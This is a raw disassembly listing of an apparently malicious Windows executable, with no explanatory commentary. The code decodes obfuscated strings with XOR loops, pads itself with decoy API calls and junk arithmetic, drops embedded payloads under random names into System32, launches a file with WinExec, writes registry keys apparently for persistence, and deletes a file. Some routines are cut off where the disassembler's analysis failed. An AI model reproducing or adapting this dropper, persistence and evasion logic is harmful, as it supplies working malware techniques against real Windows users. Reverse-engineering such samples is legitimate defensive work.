loc_403545: ; CODE XREF: sub_4034D8+9Ej
lea eax, [ebp+var_105]
push eax
call sub_40C5EC ; GlobalFindAtomA
mov edi, eax
mov [ebp+var_10A], di
cmp [ebp+var_10A], 0
jz short loc_403578
movzx eax, [ebp+var_10A]
push eax
call sub_40C5E0 ; GlobalDeleteAtom
call sub_40C598 ; GetTickCount
jmp short loc_403545
; ---------------------------------------------------------------------------
loc_403578: ; CODE XREF: sub_4034D8+8Aj
pop edi
pop esi
leave
retn
sub_4034D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40357C proc near ; CODE XREF: sub_403610+A1p
; sub_4036F2+37p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 1D8h
push esi
push [ebp+arg_0]
mov eax, dword_43C17C
lea eax, ds:40E110h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4035C1
; ---------------------------------------------------------------------------
loc_4035AA: ; CODE XREF: sub_40357C+47j
mov eax, dword_43C17C
add eax, edi
lea eax, ds:40E110h[eax]
movsx edx, byte ptr [eax]
xor edx, 4Eh
mov [eax], dl
inc edi
loc_4035C1: ; CODE XREF: sub_40357C+2Cj
cmp edi, esi
jl short loc_4035AA
mov [ebp+var_8], 1C3h
mov eax, dword_43C17C
add eax, esi
mov byte ptr ds:dword_40E110[eax], 0
mov edi, dword_43C17C
mov eax, edi
add eax, 2
add eax, esi
mov dword_43C17C, eax
inc dword_43C17C
cmp dword_43C17C, 0E02h
jle short loc_403606
and dword_43C17C, 0
loc_403606: ; CODE XREF: sub_40357C+81j
lea eax, dword_40E110[edi]
pop edi
pop esi
leave
retn
sub_40357C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403610 proc near ; CODE XREF: sub_4036F2+44p
var_3A = word ptr -3Ah
var_38 = word ptr -38h
var_35 = byte ptr -35h
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_38], 579Dh
add [ebp+var_38], 917h
mov ax, word_43C180
mov [ebp+var_3A], ax
mov esi, 2C6Bh
mov eax, esi
add eax, esi
mov esi, eax
mov eax, 0Dh
sub eax, dword_43C178
push eax
lea eax, [ebp+var_35]
push eax
push [ebp+arg_0]
call sub_40C9A0
add esp, 0Ch
call sub_40C514 ; GetCurrentThreadId
lea ecx, [ebp+var_35]
or eax, 0FFFFFFFFh
loc_403663: ; CODE XREF: sub_403610+58j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_403663
mov ebx, eax
mov [ebp+var_2], bl
call sub_40C538 ; RtlGetLastWin32Error
mov [ebp+var_1], 0
jmp short loc_403690
; ---------------------------------------------------------------------------
loc_40367A: ; CODE XREF: sub_403610+8Aj
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
sub edx, eax
dec edx
mov al, [ebp+eax+var_35]
mov [edi+edx], al
add [ebp+var_1], 1
loc_403690: ; CODE XREF: sub_403610+68j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_40367A
movzx eax, [ebp+var_2]
mov byte ptr [edi+eax], 0
mov [ebp+var_3], 0
jmp short loc_4036C4
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_403610+C5j
push 1
push offset byte_446664
call sub_40357C
push eax
push edi
call sub_40CA54
add esp, 10h
add [ebp+var_3], 1
loc_4036C4: ; CODE XREF: sub_403610+98j
movzx eax, [ebp+var_3]
mov edx, 20h
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jl short loc_4036AA
call sub_40C5A4 ; GetVersion
push [ebp+arg_8]
push edi
call sub_40CA54
add esp, 8
call sub_40C538 ; RtlGetLastWin32Error
pop edi
pop esi
pop ebx
leave
retn
sub_403610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036F2 proc near ; CODE XREF: sub_40A766+671p
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
call sub_40C634 ; IsDebuggerPresent
lea edi, [ebp+var_35]
lea esi, word_43C182
xor ecx, ecx
inc ecx
rep movsb
mov [ebp+var_2], 891h
movzx eax, [ebp+var_2]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_2], ax
push 1
push offset word_446662
call sub_40357C
push eax
lea edi, [ebp+var_34]
push edi
push [ebp+arg_0]
call sub_403610
add esp, 14h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_34]
push eax
call sub_40C5D4 ; GlobalAddAtomA
mov ebx, 3324h
sub ebx, 3885h
pop edi
pop esi
pop ebx
leave
retn
sub_4036F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40375C proc near ; CODE XREF: sub_4037EF+47p
; .text:004038C7p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 6Ch
push esi
push [ebp+arg_0]
mov eax, dword_43C18C
lea eax, ds:40F780h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_4037A1
; ---------------------------------------------------------------------------
loc_40378A: ; CODE XREF: sub_40375C+47j
mov eax, dword_43C18C
add eax, edi
lea eax, ds:40F780h[eax]
movsx edx, byte ptr [eax]
xor edx, 7
mov [eax], dl
inc edi
loc_4037A1: ; CODE XREF: sub_40375C+2Cj
cmp edi, esi
jl short loc_40378A
mov eax, dword_43C18C
add eax, esi
mov byte ptr ds:dword_40F780[eax], 0
xor edi, edi
mov edi, dword_43C18C
inc dword_43C18C
mov eax, dword_43C18C
lea eax, [eax+esi+6]
mov dword_43C18C, eax
cmp eax, 0DE8h
jle short loc_4037DE
and dword_43C18C, 0
loc_4037DE: ; CODE XREF: sub_40375C+79j
mov [ebp+var_8], 0FFh
lea eax, dword_40F780[edi]
pop edi
pop esi
leave
retn
sub_40375C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4037EF proc near ; CODE XREF: sub_40A766+719p
; sub_40A766+74Fp
var_10A = word ptr -10Ah
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
call sub_40C514 ; GetCurrentThreadId
lea edi, [ebp+var_108]
lea esi, byte_43C190
mov ecx, 3
rep movsb
push [ebp+arg_0]
lea eax, [ebp+var_104]
push eax
call sub_40CA30
mov ax, word_43C193
mov [ebp+var_10A], ax
push 1
push offset asc_446660 ; "$"
call sub_40375C
push eax
lea edi, [ebp+var_104]
push edi
call sub_40CA54
mov ebx, 20A5h
sub ebx, 7EDBh
push [ebp+arg_4]
lea eax, [ebp+var_104]
push eax
call sub_40CA54
add esp, 20h
call sub_40C508 ; GetCurrentProcessId
lea eax, [ebp+var_104]
push eax
call sub_40C5D4 ; GlobalAddAtomA
mov [ebp+var_105], 4Eh
add [ebp+var_105], 55h
pop edi
pop esi
pop ebx
leave
retn
sub_4037EF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10Ch
push esi
push edi
call sub_40C574 ; GetProcessHeap
lea edi, [ebp-10Bh]
lea esi, aH8me ; "H8mE"
mov ecx, 5
rep movsb
call sub_40C598 ; GetTickCount
push dword ptr [ebp+8]
lea eax, [ebp-104h]
push eax
call sub_40CA30
push 1
push offset asc_446660 ; "$"
call sub_40375C
push eax
lea edi, [ebp-104h]
push edi
call sub_40CA54
call sub_40C634 ; IsDebuggerPresent
push dword ptr [ebp+0Ch]
lea eax, [ebp-104h]
push eax
call sub_40CA54
add esp, 20h
call sub_40C5A4 ; GetVersion
loc_4038F5: ; CODE XREF: .text:00403930j
lea eax, [ebp-104h]
push eax
call sub_40C5EC ; GlobalFindAtomA
mov edi, eax
mov [ebp-106h], di
call sub_40C514 ; GetCurrentThreadId
cmp word ptr [ebp-106h], 0
jz short loc_403932
call sub_40C508 ; GetCurrentProcessId
movzx eax, word ptr [ebp-106h]
push eax
call sub_40C5E0 ; GlobalDeleteAtom
call sub_40C514 ; GetCurrentThreadId
jmp short loc_4038F5
; ---------------------------------------------------------------------------
loc_403932: ; CODE XREF: .text:00403917j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403936 proc near ; CODE XREF: sub_4039D6+8Bp
; sub_403AA3+73p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+arg_4]
mov [ebp+var_4], 20Eh
push esi
push [ebp+arg_0]
mov eax, dword_43C1A4
lea eax, ds:41DA90h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
mov [ebp+var_8], 331h
xor edi, edi
jmp short loc_403985
; ---------------------------------------------------------------------------
loc_40396B: ; CODE XREF: sub_403936+51j
mov eax, dword_43C1A4
add eax, edi
lea eax, ds:41DA90h[eax]
movsx edx, byte ptr [eax]
xor edx, 8Fh
mov [eax], dl
inc edi
loc_403985: ; CODE XREF: sub_403936+33j
cmp edi, esi
jl short loc_40396B
mov eax, dword_43C1A4
add eax, esi
mov byte ptr ds:dword_41DA90[eax], 0
mov edi, dword_43C1A4
inc dword_43C1A4
mov eax, dword_43C1A4
lea eax, [eax+esi+6]
mov dword_43C1A4, eax
add dword_43C1A4, 2
cmp dword_43C1A4, 0DFDh
jle short loc_4039CC
and dword_43C1A4, 0
loc_4039CC: ; CODE XREF: sub_403936+8Dj
lea eax, dword_41DA90[edi]
pop edi
pop esi
leave
retn
sub_403936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4039D6 proc near ; CODE XREF: sub_403AA3+49p
; sub_403C5F+155p ...
var_1013 = byte ptr -1013h
var_100B = byte ptr -100Bh
var_1008 = dword ptr -1008h
var_1003 = byte ptr -1003h
var_1000 = byte ptr -1000h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1014h
call sub_40C498
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp+var_100B]
lea esi, word_4411CA
mov ecx, 3
rep movsb
push 0FFFh
lea eax, [ebp+var_1003]
push eax
call sub_40C580 ; GetSystemDirectoryA
mov [ebp+var_1000], 0
push 0FFFh
lea eax, [ebp+var_1003]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1008]
push eax
push 0FFFh
lea eax, [ebp+var_1003]
push eax
lea eax, [ebp+var_1003]
push eax
call sub_40C5BC ; GetVolumeInformationA
lea edi, [ebp+var_1013]
lea esi, aK0iJ ; " K0i=J "
movsd
movsd
push 4
push offset aK ; "Ŗæ·×"
call sub_403936
push [ebp+var_1008]
push eax
push ebx
call sub_40CA30
add esp, 14h
and [ebp+var_4], 0
loc_403A7A: ; CODE XREF: sub_4039D6+C1j
mov eax, [ebp+var_4]
mov al, [ebx+eax]
cmp al, 41h
jge short loc_403A90
cmp al, 30h
jle short loc_403A90
mov eax, [ebp+var_4]
add eax, ebx
add byte ptr [eax], 11h
loc_403A90: ; CODE XREF: sub_4039D6+ACj
; sub_4039D6+B0j
inc [ebp+var_4]
cmp [ebp+var_4], 8
jb short loc_403A7A
call sub_40C5A4 ; GetVersion
pop edi
pop esi
pop ebx
leave
retn
sub_4039D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403AA3 proc near ; CODE XREF: sub_40A766+7E8p
var_290 = dword ptr -290h
var_28A = byte ptr -28Ah
var_283 = byte ptr -283h
var_280 = byte ptr -280h
var_27C = dword ptr -27Ch
var_278 = byte ptr -278h
var_275 = byte ptr -275h
var_26F = byte ptr -26Fh
var_16B = byte ptr -16Bh
var_107 = byte ptr -107h
var_106 = word ptr -106h
var_104 = word ptr -104h
var_102 = word ptr -102h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 290h
push ebx
push esi
push edi
call sub_40C508 ; GetCurrentProcessId
lea edi, [ebp+var_275]
lea esi, aKg7x_ ; "kg7x_"
mov ecx, 3
rep movsw
mov [ebp+var_104], 63FCh
movzx eax, [ebp+var_104]
imul eax, 3246h
mov [ebp+var_104], ax
lea eax, [ebp+var_16B]
push eax
call sub_4039D6
lea edi, [ebp+var_278]
lea esi, aOw ; "oW"
mov ecx, 3
rep movsb
mov eax, dword_4411DE
mov [ebp+var_27C], eax
push 9
push offset byte_446651
call sub_403936
lea edi, [ebp+var_16B]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_FF]
push edi
call sub_40CA30
mov ebx, 3DFBh
mov eax, 1040h
mul ebx
mov [ebp+var_290], eax
mov ebx, eax
lea eax, [ebp+var_FF]
push eax
call sub_403449
mov [ebp+var_102], 0F5Dh
movzx eax, [ebp+var_102]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_102], ax
push 0
push 0
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_FF]
push eax
call sub_40C67C ; CreateFileA
mov ebx, eax
mov [ebp+var_106], 10FCh
add [ebp+var_106], 4EDCh
push 0
lea eax, [ebp+var_280]
push eax
push 3621h
push offset byte_43DBA9
push ebx
call sub_40C730 ; WriteFile
push ebx
call sub_40C55C ; CloseHandle
mov ebx, 0CDFh
add ebx, 10D0h
lea edi, [ebp+var_283]
lea esi, word_4411E2
mov ecx, 3
rep movsb
push 104h
lea eax, [ebp+var_26F]
push eax
push 0
call sub_40C544 ; GetModuleFileNameA
push 1
push offset byte_44664F
call sub_403936
push eax
lea edi, [ebp+var_FF]
push edi
call sub_40CA54
lea edi, [ebp+var_28A]
lea esi, aVR ; "|+V|;R"
mov ecx, 7
rep movsb
lea eax, [ebp+var_26F]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_40CA54
add esp, 38h
push 0
lea eax, [ebp+var_FF]
push eax
call sub_40C724 ; WinExec
mov [ebp+var_107], 0F3h
movzx eax, [ebp+var_107]
imul eax, 6754h
mov [ebp+var_107], al
pop edi
pop esi
pop ebx
leave
retn
sub_403AA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C5F proc near ; CODE XREF: sub_40A766+2E7p
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_2FF = byte ptr -2FFh
var_2FC = byte ptr -2FCh
var_2F5 = byte ptr -2F5h
var_2F4 = byte ptr -2F4h
var_2F1 = byte ptr -2F1h
var_2E9 = byte ptr -2E9h
var_2E3 = byte ptr -2E3h
var_2DE = byte ptr -2DEh
var_278 = dword ptr -278h
var_271 = byte ptr -271h
var_270 = dword ptr -270h
var_26C = word ptr -26Ch
var_26A = byte ptr -26Ah
var_269 = byte ptr -269h
var_205 = byte ptr -205h
var_101 = byte ptr -101h
var_FB = byte ptr -0FBh
var_FA = byte ptr -0FAh
var_F9 = byte ptr -0F9h
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 328h
push ebx
push esi
push edi
call sub_40C634 ; IsDebuggerPresent
lea edi, [ebp+var_2E3]
lea esi, aN4U ; "N4/u"
mov ecx, 5
rep movsb
mov [ebp+var_26A], 0C4h
movzx eax, [ebp+var_26A]
imul eax, 0CACh
mov [ebp+var_26A], al
push 26h
push offset dword_446628
call sub_403936
mov [ebp+var_304], eax
call sub_40CA18
mov [ebp+var_308], eax
call sub_40CA18
mov [ebp+var_30C], eax
call sub_40CA18
mov [ebp+var_310], eax
call sub_40CA18
mov [ebp+var_314], eax
call sub_40CA18
mov [ebp+var_318], eax
call sub_40CA18
mov [ebp+var_31C], eax
call sub_40CA18
mov [ebp+var_320], eax
call sub_40CA18
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_320]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_31C]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_318]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_314]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_310]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_30C]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_308]
mov eax, edi
mov ecx, 0FFFFh
cdq
idiv ecx
push edx
mov edi, [ebp+var_304]
push edi
lea edi, [ebp+var_269]
push edi
call sub_40CA30
call sub_40C5A4 ; GetVersion
lea edi, [ebp+var_2E9]
lea esi, aVEM ; "v e~m"
mov ecx, 3
rep movsw
lea eax, [ebp+var_2DE]
push eax
call sub_4039D6
add esp, 34h
mov ebx, 3F4Bh
sub ebx, 721Bh
lea edi, [ebp+var_2F1]
lea esi, aKPyesn ; "k&PYESN"
mov ecx, 2
rep movsd
call sub_40CA18
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov edi, eax
add edi, 41h
mov edx, edi
mov [ebp+var_101], dl
lea edi, [ebp+var_2F4]
lea esi, aAj ; "aJ"
mov ecx, 3
rep movsb
mov [ebp+var_1], 1
jmp short loc_403E4A
; ---------------------------------------------------------------------------
loc_403E1A: ; CODE XREF: sub_403C5F+1F0j
call sub_40CA18
movzx edi, [ebp+var_1]
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
mov esi, eax
add esi, 61h
mov edx, esi
mov [ebp+edi+var_101], dl
add [ebp+var_1], 1
loc_403E4A: ; CODE XREF: sub_403C5F+1B9j
mov al, [ebp+var_1]
cmp al, 8
jbe short loc_403E1A
mov [ebp+var_26C], 789Fh
movzx eax, [ebp+var_26C]
imul eax, 7E80h
mov [ebp+var_26C], ax
mov [ebp+var_F9], 0
call sub_40CA18
mov edx, eax
test dl, 1
jnz short loc_403EA8
call sub_40C574 ; GetProcessHeap
mov [ebp+var_FB], 33h
mov [ebp+var_324], 1F1Ah
add [ebp+var_324], 4A03h
mov [ebp+var_FA], 32h
loc_403EA8: ; CODE XREF: sub_403C5F+220j
push 9
push offset word_44661E
call sub_403936
lea edi, [ebp+var_101]
push edi
push offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
push eax
lea edi, [ebp+var_205]
push edi
call sub_40CA30
lea edi, [ebp+var_2F5]
lea esi, byte_441202
xor ecx, ecx
inc ecx
rep movsb
lea eax, [ebp+var_205]
push eax
call sub_403449
call sub_40C514 ; GetCurrentThreadId
push 0
push 0
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_205]
push eax
call sub_40C67C ; CreateFileA
mov ebx, eax
mov [ebp+var_270], 1D0Fh
inc [ebp+var_270]
push [ebp+arg_0]
mov eax, offset aMjanfj32 ; "Mjanfj32"
push eax
call sub_40CA30
push 0
lea eax, [ebp+var_2FC]
push eax
push 1A01h
push offset dword_43C1A8
push ebx
call sub_40C730 ; WriteFile
lea edi, [ebp+var_2FF]
lea esi, byte_441203
mov ecx, 3
rep movsb
push ebx
call sub_40C55C ; CloseHandle
call sub_40C634 ; IsDebuggerPresent
push 17h
push offset word_446606
call sub_403936
lea edi, [ebp+var_269]
push edi
push eax
lea edi, [ebp+var_101]
push edi
call sub_40CA30
mov [ebp+var_271], 81h
add [ebp+var_271], 1
lea eax, [ebp+var_205]
push eax
push offset byte_446605
lea eax, [ebp+var_101]
push eax
push 80000000h
call sub_40404B
mov [ebp+var_278], 2820h
mov eax, 260Ch
mul [ebp+var_278]
mov [ebp+var_324], eax
mov [ebp+var_278], eax
push 0Eh
push offset word_4465F6
call sub_403936
mov [ebp+var_328], eax
push 9
push offset dword_4465EC
call sub_403936
push eax
mov edi, [ebp+var_328]
push edi
lea edi, [ebp+var_101]
push edi
push 80000000h
call sub_40404B
call sub_40C598 ; GetTickCount
push 45h
push offset word_4465A6
loc_404010: ; DATA XREF: .data:0043E139w
; .data:0043E153w ...
call sub_403936
lea edi, [ebp+var_269]
push edi
sub_403C5F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40401C proc near ; DATA XREF: .data:0043E1CDo
; .data:0043E21Cr
lea edi, [ebp-2DEh]
push edi
push eax
sub_40401C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404024 proc near ; DATA XREF: .data:0043E201o
; .data:0043E216r ...
push 80000002h
call sub_40404B ; DATA XREF: .data:loc_43E1A1r
; .data:loc_43E1B1r
add esp, 80h ; DATA XREF: .data:0043E0A5w
loc_404034: ; DATA XREF: .data:0043E0AFw
; .data:0043E0CAr ...
mov word ptr [ebp-27Ah], 2967h
sub word ptr [ebp-27Ah], 716Eh
pop edi
pop esi
pop ebx
leave
retn
sub_404024 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40404B proc near ; CODE XREF: sub_403C5F+348p
; sub_403C5F+3A0p ...
var_17 = byte ptr -17h
var_F = byte ptr -0Fh
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_6], 396Fh
sub [ebp+var_6], 2933h
inc dword_43B228
lea edi, [ebp+var_F]
lea esi, word_441206
mov ecx, 3
rep movsb
lea edi, [ebp+var_17]
lea esi, aUs6arh ; " US6rH"
movsd
movsd
and [ebp+var_4], 0
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_4]
loc_40408C: ; DATA XREF: .data:0043E054w
push eax
push 0
push 0F003Fh ; DATA XREF: .data:0043E059w
; .data:0043E075w
loc_404094: ; DATA XREF: .data:0043E5B4w
; .data:0043E5BAr ...
push 0
push 0
sub_40404B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404098 proc near ; DATA XREF: .data:loc_43E4BDo
; .data:0043E519o ...
push 0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40C91C ; RegCreateKeyExA
call sub_40C5A4 ; GetVersion
sub_404098 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4040AA proc near ; DATA XREF: sub_43E630+Co
mov eax, [ebp+14h]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4040B2: ; CODE XREF: sub_4040AA+Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4040B2
mov [ebp-0Ch], eax ; DATA XREF: sub_43E630+1Co
call sub_40C634 ; IsDebuggerPresent
push dword ptr [ebp-0Ch]
push dword ptr [ebp+14h]
push 1
push 0
push dword ptr [ebp+10h]
push dword ptr [ebp-4]
call sub_40C94C ; RegSetValueExA
call sub_40C574 ; GetProcessHeap
push dword ptr [ebp-4]
call sub_40C928 ; RegCloseKey
mov ebx, 4DD8h
mov eax, 4D1Ah
mul ebx
mov [ebp-1Ch], eax
mov eax, [ebp-1Ch]
mov ebx, eax
pop edi
pop esi
pop ebx
leave
retn
sub_4040AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040FC proc near ; CODE XREF: sub_404194+FEp
; sub_404194+11Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, [ebp+arg_4]
push esi
push [ebp+arg_0]
mov eax, dword_44121C
lea eax, ds:411DB0h[eax]
push eax
call sub_40C9F4
add esp, 0Ch
xor edi, edi
jmp short loc_40413C
; ---------------------------------------------------------------------------
loc_404122: ; CODE XREF: sub_4040FC+42j
mov eax, dword_44121C
add eax, edi
lea eax, ds:411DB0h[eax]
movsx edx, byte ptr [eax]
xor edx, 0ADh
mov [eax], dl
inc edi
loc_40413C: ; CODE XREF: sub_4040FC+24j
cmp edi, esi
jl short loc_404122
mov [ebp+var_4], 1A7h
mov eax, dword_44121C
add eax, esi
mov byte ptr ds:dword_411DB0[eax], 0
mov edi, dword_44121C
add dword_44121C, 2
mov eax, dword_44121C
lea eax, [eax+esi+2]
mov dword_44121C, eax
inc dword_44121C
cmp dword_44121C, 0DB6h
jle short loc_40418A
and dword_44121C, 0
loc_40418A: ; CODE XREF: sub_4040FC+85j
lea eax, dword_411DB0[edi]
pop edi
pop esi
leave
retn
sub_4040FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404194 proc near ; CODE XREF: sub_40A766+33Dp
var_14BA = byte ptr -14BAh
var_14B3 = byte ptr -14B3h
var_14B2 = byte ptr -14B2h
var_14AC = byte ptr -14ACh
var_14A7 = byte ptr -14A7h
var_14A4 = byte ptr -14A4h
var_149C = byte ptr -149Ch
var_1499 = byte ptr -1499h
var_1496 = byte ptr -1496h
var_1397 = byte ptr -1397h
var_1396 = byte ptr -1396h
var_1395 = byte ptr -1395h
var_1394 = dword ptr -1394h
var_1384 = dword ptr -1384h
var_1300 = byte ptr -1300h
var_1201 = byte ptr -1201h
var_1102 = word ptr -1102h
var_10FF = byte ptr -10FFh
var_10FE = byte ptr -10FEh
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
mov eax, 14BCh
call sub_40C498
push ebx
push esi
push edi
mov [ebp+var_10FF], 5Ah
movzx eax, [ebp+var_10FF]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_10FF], al
lea edi, [ebp+var_1499]
lea esi, byte_441220
mov ecx, 3
rep movsb
lea edi, [ebp+var_149C]
lea esi, byte_441223
mov ecx, 3
rep movsb
push 0FFh
lea eax, [ebp+var_1300]
push eax
push 0
call sub_40C544 ; GetModuleFileNameA
mov ebx, 2910h
inc ebx
mov [ebp+var_1394], 94h
mov [ebp+var_1102], 6834h
movzx eax, [ebp+var_1102]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_1102], ax
lea eax, [ebp+var_1394]
push eax
call sub_40C5B0 ; GetVersionExA
mov [ebp+var_1395], 0B9h
add [ebp+var_1395], 1
lea edi, [ebp+var_14A4]
lea esi, aNb_ya ; "%&nb.ya"
movsd
movsd
cmp [ebp+var_1384], 2
jnz loc_4042E9
mov [ebp+var_14B3], 0DCh
add [ebp+var_14B3], 90h
push 0FFh
lea eax, [ebp+var_FF]
push eax
call sub_40C580 ; GetSystemDirectoryA
lea edi, [ebp+var_14BA]
lea esi, a@p ; " $~@p"
mov ecx, 7
rep movsb
push 0Fh
push offset word_446596
call sub_4040FC
lea edi, [ebp+var_FF]
push edi
push eax
lea edi, [ebp+var_1201]
push edi
call sub_40CA30
push 0Ah
push offset byte_44658B
call sub_4040FC
lea edi, [ebp+var_FF]
push edi
push eax
lea edi, [ebp+var_1496]
push edi
call sub_40CA30
push 8
push offset word_446582
call sub_4040FC
push eax
lea edi, [ebp+var_FF]
push edi
call sub_40CA54
add esp, 38h
jmp short loc_404365
; ---------------------------------------------------------------------------
loc_4042E9: ; CODE XREF: sub_404194+BFj
call sub_40C574 ; GetProcessHeap
push 0FFh
lea eax, [ebp+var_FF]
push eax
call sub_40C5C8 ; GetWindowsDirectoryA
call sub_40C598 ; GetTickCount
push 0Fh
push offset word_446572
call sub_4040FC
lea edi, [ebp+var_FF]
push edi
push eax
lea edi, [ebp+var_1201]
push edi
call sub_40CA30
call sub_40C5A4 ; GetVersion
push 0Eh
push offset byte_446563
call sub_4040FC
lea edi, [ebp+var_FF]
push edi
push eax
lea edi, [ebp+var_1496]
push edi
call sub_40CA30
push 0Ch
push offset word_446556
call sub_4040FC
push eax
lea edi, [ebp+var_FF]
push edi
call sub_40CA54
add esp, 38h
loc_404365: ; CODE XREF: sub_404194+153j
lea eax, [ebp+var_1496]
push eax
call sub_40C760 ; DeleteFileA
call sub_40C598 ; GetTickCount
lea edi, [ebp+var_14A7]
lea esi, aP ; " p"
mov ecx, 3
rep movsb
push 0
push 80h
push 2
push 0
push 0
push 40000000h
lea eax, [ebp+var_1201]
push eax
call sub_40C67C ; CreateFileA
mov ebx, eax
lea edi, [ebp+var_14B2]
lea esi, aVk_0 ; " vK%;"
mov ecx, 3
rep movsw
push 39h
push offset aCAzaNiUAzaNNiN ; "ĮĀĀŻ §ķÉČĮŽĆŲĮ §ķÄĖČÕÄŽŁŽŹĀŁĀĮ"...
call sub_4040FC
lea edi, [ebp+var_1201]
push edi
lea edi, [ebp+var_1300]
push edi
lea edi, [ebp+var_1300]
push edi
push eax
lea edi, [ebp+var_10FE]
push edi
call sub_40CA30
add esp, 1Ch
call sub_40C514 ; GetCurrentThreadId
lea ecx, [ebp+var_10FE]
or eax, 0FFFFFFFFh
loc_4043FC: ; CODE XREF: sub_404194+26Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4043FC
push 0
lea esi, [ebp+var_14AC]
push esi
push eax
